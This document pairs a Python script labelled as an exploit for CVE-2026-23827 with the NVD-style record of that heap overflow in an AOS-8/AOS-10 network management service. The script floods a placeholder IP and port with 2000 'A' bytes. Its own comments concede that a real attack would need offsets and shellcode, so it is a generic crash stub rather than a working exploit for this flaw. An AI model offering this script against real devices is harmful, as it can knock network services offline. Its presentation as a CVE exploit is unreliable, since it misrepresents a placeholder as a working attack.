CVE-2026-23827

import socket # Target configuration TARGET_IP = "192.168.1.1" TARGET_PORT = 8080 # Constructing the payload # A large pattern of 'A's to trigger the heap-based buffer overflow # In a real scenario, this would include specific offset, NOP sled, and shellcode buffer_size = 2000 payload = b"A" * buffer_size def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the vulnerable management service s.connect((TARGET_IP, TARGET_PORT)) print("[*] Sending malicious payload...") # Send the payload to trigger the overflow s.send(payload) print("[+] Payload sent successfully. Check if the service crashed or code executed.") s.close() except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-23827", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:31.797", "lastModified": "2026-05-13T16:16:36.890", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could allow an unauthenticated attacker to execute arbitrary code as a privileged user on the underlying operating system, potentially leading to a system compromise. Exploitation may also result in a denial-of-service (DoS) condition affecting the impacted system process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}